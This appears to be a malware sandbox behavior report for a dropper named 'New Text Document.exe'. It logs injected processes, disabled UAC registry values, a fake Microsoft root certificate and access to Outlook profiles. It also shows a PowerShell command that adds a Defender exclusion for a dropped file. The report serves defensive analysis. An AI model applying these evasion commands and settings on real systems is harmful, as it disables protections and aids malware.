Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ED4F5A35-81E4-4CBF-A823-AAA3C0847C6E}\ = "BrowserToDelphi Object" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.BrowserToDelphi\Clsid C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}\ C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}\LocalServer32 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\0 C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ = "IBrowserToDelphi" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NBRun.BrowserToDelphi C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib\Version = "1.0" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F1F35EFE-C7D9-4628-A63C-DD41F5DE5914}\LocalServer32\ = "C:\\ARCHIV~1\\UNICO-~1\\ODBC_VEN.exe" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8C2B40D2-963F-4307-AD3E-44A17D530D67}\1.0\HELPDIR C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDB878B2-3F43-4471-B746-47906E644468}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1551601C-141C-4499-9C05-557CA1440A05}\TypeLib C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F3622AF66207CC5BB8102C19A4D0417657148B7\Blob = 0300000001000000140000008f3622af66207cc5bb8102c19a4d0417657148b720000000010000007a02000030820276308201dfa0030201020208343c7a430801a211300d06092a864886f70d01010b050030733132303006035504030c294d6963726f736f66742052636f7420436572746966696361746520417574686f726974792032303130311e301c060355040a0c154d6963726f736f667420436f72706f726174696f6e310b30090603550406130255533110300e06035504070c075265646d6f6e64301e170d3232313131373230303133375a170d3236313131363230303133375a30733132303006035504030c294d6963726f736f66742052636f7420436572746966696361746520417574686f726974792032303130311e301c060355040a0c154d6963726f736f667420436f72706f726174696f6e310b30090603550406130255533110300e06035504070c075265646d6f6e6430819f300d06092a864886f70d010101050003818d0030818902818100dfd60a2ef10b9ed402cfbafda1e0c3a6d94068897f89a692d1dd5b3c721f25cc82982c5393bba6020a92a04de9ffb24e664870e3de59d44745b152316f2d129d2b9f0ded702c9f6a8105d54e2efa373100a5b9bd6632430512755cb643de6133baf65f99e1d9a86e6fdba9ca7421c3e2004d2fc230596d51998d66852a8a8dcf0203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038181002693f6630efdc4a6aeb9b6c9199c1e14737da6541e168886032408803c42ff11da82cae094eae3fb7c78a44cb8d7e0d998b97d15b0c3489c4c05b1075fd117058a200c606b3284b5b4cfc4b69f2ac899a786f837cb10fdf4fa1b59c96d2ac8e64064e8a40ed886c33d7ec17e2843b98cf404cdcd58d0d19b758ceb6922e3bea0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F3622AF66207CC5BB8102C19A4D0417657148B7 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\Gwogw.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\client.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\SecurityHealthService.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\GOLD.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\a\OLDxTEAM.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\Desktop\a\svchot.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Gwogw.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Music\Windows Security Health Host.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Music\Windows Security Health Host.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Gwogw.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Gwogw.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\Desktop\a\svchot.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Gwogw.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Gwogw.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2776 wrote to memory of 4876 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 2776 wrote to memory of 4876 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 2776 wrote to memory of 4876 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\SKOblik.exe
PID 2776 wrote to memory of 5040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2776 wrote to memory of 5040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2776 wrote to memory of 5040 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe
PID 2776 wrote to memory of 4488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2776 wrote to memory of 4488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2776 wrote to memory of 4488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Guide2018.exe
PID 2776 wrote to memory of 2704 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 2776 wrote to memory of 2704 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 2776 wrote to memory of 2704 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\stories.exe
PID 2704 wrote to memory of 1260 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp
PID 2704 wrote to memory of 1260 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp
PID 2704 wrote to memory of 1260 N/A C:\Users\Admin\Desktop\a\stories.exe C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp
PID 1260 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 1260 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 1260 wrote to memory of 1924 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Windows\SysWOW64\net.exe
PID 1260 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 1260 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 1260 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
PID 1924 wrote to memory of 3664 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1924 wrote to memory of 3664 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1924 wrote to memory of 3664 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2776 wrote to memory of 3596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2776 wrote to memory of 3596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2776 wrote to memory of 3596 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\wwbizsrvs.exe
PID 2776 wrote to memory of 4072 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2776 wrote to memory of 4072 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2776 wrote to memory of 4072 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf.exe
PID 2776 wrote to memory of 5076 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2776 wrote to memory of 5076 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2776 wrote to memory of 5076 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\msf443.exe
PID 2776 wrote to memory of 2024 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 2776 wrote to memory of 2024 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\client.exe
PID 2776 wrote to memory of 4364 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2776 wrote to memory of 4364 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2776 wrote to memory of 4364 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 2776 wrote to memory of 4316 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2776 wrote to memory of 4316 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2776 wrote to memory of 4316 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 2776 wrote to memory of 3488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 2776 wrote to memory of 3488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 2776 wrote to memory of 3488 N/A C:\Users\Admin\Desktop\New Text Document.exe C:\Users\Admin\Desktop\a\op.exe
PID 3488 wrote to memory of 4884 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe
PID 3488 wrote to memory of 4884 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe
PID 3488 wrote to memory of 4884 N/A C:\Users\Admin\Desktop\a\op.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe
PID 4884 wrote to memory of 452 N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
PID 4884 wrote to memory of 452 N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
PID 4884 wrote to memory of 452 N/A C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
PID 4316 wrote to memory of 4340 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4316 wrote to memory of 4340 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4316 wrote to memory of 4340 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4316 wrote to memory of 3080 N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe
PID 4364 wrote to memory of 3384 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 4364 wrote to memory of 3384 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe
PID 4364 wrote to memory of 3384 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Users\Admin\Desktop\a\Pawyvstri.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\Desktop\a\Autoupdate.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\icsys.ico.exe N/A

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe.zip"

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Desktop\New Text Document.exe

"C:\Users\Admin\Desktop\New Text Document.exe"

C:\Users\Admin\Desktop\a\SKOblik.exe

"C:\Users\Admin\Desktop\a\SKOblik.exe"

C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe

"C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe"

C:\Users\Admin\Desktop\a\Guide2018.exe

"C:\Users\Admin\Desktop\a\Guide2018.exe"

C:\Users\Admin\Desktop\a\stories.exe

"C:\Users\Admin\Desktop\a\stories.exe"

C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp

"C:\Users\Admin\AppData\Local\Temp\is-6IQIO.tmp\stories.tmp" /SL5="$302AA,5532893,721408,C:\Users\Admin\Desktop\a\stories.exe"

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" pause shine-encoder_11152

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe

"C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 pause shine-encoder_11152

C:\Users\Admin\Desktop\a\wwbizsrvs.exe

"C:\Users\Admin\Desktop\a\wwbizsrvs.exe"

C:\Users\Admin\Desktop\a\msf.exe

"C:\Users\Admin\Desktop\a\msf.exe"

C:\Users\Admin\Desktop\a\msf443.exe

"C:\Users\Admin\Desktop\a\msf443.exe"

C:\Users\Admin\Desktop\a\client.exe

"C:\Users\Admin\Desktop\a\client.exe"

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\op.exe

"C:\Users\Admin\Desktop\a\op.exe"

C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe

.\installer.exe

C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe

"C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

"C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe"

C:\Users\Admin\Desktop\a\Pawyvstri.exe

"C:\Users\Admin\Desktop\a\Pawyvstri.exe"

C:\Users\Admin\Desktop\a\lum250.exe

"C:\Users\Admin\Desktop\a\lum250.exe"

C:\Users\Admin\Desktop\a\Beefy.exe

"C:\Users\Admin\Desktop\a\Beefy.exe"

C:\Users\Admin\Desktop\a\solandra.exe

"C:\Users\Admin\Desktop\a\solandra.exe"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

